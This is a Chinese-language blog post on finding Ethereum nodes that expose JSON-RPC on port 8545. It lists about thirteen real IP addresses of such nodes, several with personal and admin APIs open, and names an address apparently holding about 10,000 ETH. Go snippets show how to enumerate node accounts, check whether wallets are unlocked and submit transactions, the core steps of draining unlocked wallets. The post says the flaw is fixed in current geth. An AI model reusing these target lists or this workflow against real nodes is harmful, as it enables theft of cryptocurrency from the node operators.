之前一直听说黑客RPC盗币,觉得挺有意思的,最近也体验了一下。这个Bug最新版的geth客户端已经没有,Http调用解锁账户早已被禁掉,以太坊Holder不需要担心。
写这篇文章是想让区块链充满趣味性,不再是核心开发者中晦涩的代码。目前以太坊网络中夹杂着很多其他链的节点信息,由于很多公链基于以太坊二次开发,没有修改p2p参数,导致节点信息污染了真实的以太坊节点。通过devp2p节点发现
拿到的节点数据,通过查询network ID
,有很大一部分不属于以太坊网络,有趣的是在这些链里面,查询你自己的账户,余额竟然不为零,可惜有的项目不开源,都不知道是哪些公链项目。
为了让大家有读下去的欲望,先抛出一个发现,通过扫描全网节点,发现了一个矿池Hiveon Pool,里面有6个账户,以太坊总持仓在1W
个左右。这是其中一个地址0x4c549990a7ef3fea8784406c1eecc98bf4211fa5。
以下是扫描到的一些可用RPC节点,Dapp终于可以愉快的部署了。
使用下面节点发送离线交易
可快速实现合约和转账操作,GAS费不要太低就行,离线交易的安全性在于节点无法作恶,只可选择是否继续广播。
http://95.217.58.225:8545 apis map[admin:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0]
http://144.91.122.52:8545 apis map[eth:1.0 net:1.0 personal:1.0 rpc:1.0 web3:1.0]
http://95.217.163.203:8545 apis map[eth:1.0 net:1.0 rpc:1.0 web3:1.0]
http://167.99.192.187:8545 apis map[admin:1.0 debug:1.0 eth:1.0 ethash:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0]
http://142.93.227.185:8545 apis map[eth:1.0 net:1.0 rpc:1.0 web3:1.0]
http://161.97.81.18:8545 apis map[debug:1.0 eth:1.0 net:1.0 parity:1.0 parity_accounts:1.0 parity_pubsub:1.0 parity_set:1.0 parity_transactions_pool:1.0 personal:1.0 private:1.0 pubsub:1.0 rpc:1.0 secretstore:1.0 signer:1.0 traces:1.0 web3:1.0]
http://46.4.63.234:8545 apis map[admin:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0]
http://157.230.142.236:8545 apis map[eth:1.0 net:1.0 rpc:1.0]
http://46.4.86.252:8545 apis map[admin:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0]
http://95.217.87.230:8545 apis map[eth:1.0 personal:1.0 rpc:1.0 web3:1.0]
http://195.154.81.121:8545 apis map[debug:1.0 eth:1.0 net:1.0 parity:1.0 parity_accounts:1.0 parity_pubsub:1.0 parity_set:1.0 personal:1.0 private:1.0 pubsub:1.0 rpc:1.0 secretstore:1.0 shh:1.0 shh_pubsub:1.0 signer:1.0 traces:1.0 web3:1.0]
http://49.12.93.10:8545 apis map[admin:1.0 debug:1.0 eth:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0]
http://165.227.99.131:8545 apis map[eth:1.0 net:1.0 rpc:1.0]
这些大部分是geth节点
,少量是parity节点
,由于较熟悉geth代码,所以下面的操作都是基于Geth客户端。
原理可读上一篇文章。
在上篇文章中已讲过大致的原理,通过节点发现不停的遍历全网节点,使用默认的8545端口去连接,获取连接成功的节点。
以太坊默认开发的api是[eth:1.0 net:1.0 rpc:1.0 web3:1.0]
这几个,可通过SupportedModules
方法获取
节点发现了太多的无用节点,需要通过network ID
和chainID
过滤拿到主网节点。
client.Call(&ver, "net_version")
client.CallContext(ctx, &result, "eth_chainId")
err := client.Call(&mine, "eth_mining")
err = client.Call(&coinbase, "eth_coinbase")
err = client.Call(&hashrate, "eth_hashrate")
上面的方法可依次查询节点是否在挖矿,查询挖矿奖励地址和当前挖矿的hash率。
err := client.Call(&account, "eth_accounts")
这个返回的是当前节点的账户数,通过keystore导入到节点中的账户,地址都会返回出来。
client.Call(&result, "eth_getBalance", account, toBlockNumArg(blockNumber))
此api可将节点的挖矿地址和账户余额都查询出来。
client.Call(&raws, "personal_listWallets")
for _, account := range raws {
if account.Status == "Unlocked" {
arr = append(arr, rawAccount{"Unlocked", account.Accounts[0].Address.String()})
} else {
arr = append(arr, rawAccount{"Locked", account.Accounts[0].Address.String()})
}
}
此方法可查询节点账户状态,是否锁定,需要节点启动时显示指定。
ec.c.CallContext(ctx, nil, "eth_sendRawTransaction", hexutil.Encode(data))
此方法为发起离线交易
err := client.Call(&result, "eth_sendTransaction", mapData)
此方法需要节点签名交易,正常情况下会返回账户锁定
错误。